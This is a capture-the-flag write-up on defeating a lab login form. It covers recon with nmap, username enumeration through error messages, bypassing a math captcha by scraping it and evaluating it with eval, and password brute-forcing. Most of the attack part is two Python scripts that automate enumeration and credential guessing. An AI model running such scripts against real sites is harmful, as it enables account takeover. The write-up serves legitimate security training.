Capture

Can you bypass the login form? - by toxicat0r

Recon

Nmap reveals just the port 80 running a http server

root@ip-10-10-109-110:~# nmap -sT 10.10.188.148

Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-23 20:48 BST
Nmap scan report for ip-10-10-188-148.eu-west-1.compute.internal (10.10.188.148)
Host is up (0.00039s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:9B:2E:2F:F4:F1 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

Requesting the site, the site immediatly prompts us with a login prompt.

Trying the first entries of the given usernames and password files we receive an error.

With the error message Error: The user ‘rachel’ does not exist, we are able to enumerate the used usernames in the application. This violates against the OWASP Authentication Guidelines

Using any of the authentication mechanisms (login, password reset or password recovery), an application must respond with a generic error message regardless of whether:

  • The user ID or password was incorrect.

  • The account does not exist.

  • The account is locked or disabled.

So the first step to do ist to enumerate the user, with the correct user, we can go further and brute force the corresponding password.

Part of the challenge is to bypass their rate limiter:

SecureSolaCoders has once again developed a web application. They were tired of hackers enumerating and exploiting their previous login form. They thought a Web Application Firewall (WAF) was too overkill and unnecessary, so they developed their own rate limiter and modified the code slightly.

This is implemented with an easy to retrievable captcha which will be solved within the script.

With a wrong captcha we get the error message Error: Invalid captcha. This might come in handy if our script doesn’t evaluate the captcha correctly to filter out false-positives.

Retrieving existing users

So for now we know two error messages we have to check, if we receive a caputure and doesn’t solve it we get the message Error: Invalid captcha, entering a wrong username with correct captcha gives us the error message Error: The user ‘USERNAME’ does not exists.

In Burp the request looks as follows:

We have to submit the variables username, password and captcha in a http-post request.

To retrieve the error messages and the captcha a regex can be used. Crafting regex blind might be challenging, but with the help of regex101 its much easier:

Regex for retrieving captchas

[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}

Regex for retrieving error messages non existing user

But looking into the source code, we have to url encode otherwise our regex wont work

<p class="error"><strong>Error:</strong> The user &#39;rachel&#39; does not exist

The user '.*' does not exist

import requests
import re

valid_users = []

_url = 'http://10.10.188.148/login'
_captcha_regex = r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"
_error_user_regex = r"The user &#39;.*&#39; does not exist"
_pass = 'rachel'
_user = 'football'
_result = 0

_data = {'username':_user,'password':_pass,'captcha':_result}

# get usernames from file, removing whitespaces
with open('usernames.txt') as f:
    users = [line.rstrip() for line in f]

# for each user craft a post request with given data, for user enumeration the 
# password stays static
for username in users:
		# start with an invalid request to retrive the captcha
    response = requests.post(_url, _data)
    text = response.text
    
		# get the captcha
    captchas = re.findall(_captcha_regex,text)
		# evaluate the captcha
    result = eval(captchas[0])

    data = {'username':username,'password':_pass,'captcha':result}
    response = requests.post(_url, data)
    text = response.text
    captchas = re.findall(_captcha_regex,text)

    # find existing user
    if(len(re.findall(_error_user_regex, text)) == 0):
        valid_users.append(username)

print(valid_users)

Running our script takes a second and we get the user natalie

Retrieving corresponding password

Now we start over again, entering the username natalie with a valid captcha to check for the invalid password error message, to craft another regex. With this we repeat the requests until we receive a response without any error messages and print the http response.

Error message Error: Invalid password for user ‘natalie’

Invalid password for user &#39;.*&#39;

For the purpose of finding the correct password we can reuse our previous loop with slightly modifications.

capture.py
import requests
import re

valid_users = []

_url = 'http://10.10.188.148/login'
_path_users_file = 'usernames.txt'
_path_passwords_file = 'passwords.txt'
_captcha_regex = r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"
_error_user_regex = r"The user &#39;.*&#39; does not exist"
_error_password_regex = r"Invalid password for user &#39;.*&#39;"
_error_captcha_regex =  r"Invalid captcha"
_pass = 'rachel'
_user = 'football'
_result = 0

_data = {'username':_user,'password':_pass,'captcha':_result}

# get usernames from file, removing whitespaces
with open(_path_users_file) as f:
    users = [line.rstrip() for line in f]

# for each user craft a post request with given data, for user enumeration the 
# password stays static
for username in users:
	# start with an invalid request to retrive the captcha
    response = requests.post(_url, _data)
    text = response.text
    
	# get the captcha
    captchas = re.findall(_captcha_regex,text)
	# evaluate the captcha
    result = eval(captchas[0])

    data = {'username':username,'password':_pass,'captcha':result}
    response = requests.post(_url, data)
    text = response.text
    captchas = re.findall(_captcha_regex,text)

    # find existing user
    if(len(re.findall(_error_user_regex, text)) == 0 and len(re.findall(_error_captcha_regex, text)) == 0):
        valid_users.append(username)

print(valid_users)

with open(_path_passwords_file) as f:
    passwords = [line.rstrip() for line in f]

# for each valid user try all passwords until no error messages resolve
for valid_user in valid_users:
    for password in passwords:

        response = requests.post(_url, _data)
        text = response.text

        captchas = re.findall(_captcha_regex,text)
        result = eval(captchas[0])
        data = {'username':valid_user,'password':password,'captcha':result}

        response = requests.post(_url, data)
        text = response.text
        captchas = re.findall(_captcha_regex,text)
        
        if(len(re.findall(_error_password_regex, text)) == 0 and len(re.findall(_error_captcha_regex, text)) == 0):
            print(valid_user + " : " + password)
            print(text)
            break

Last updated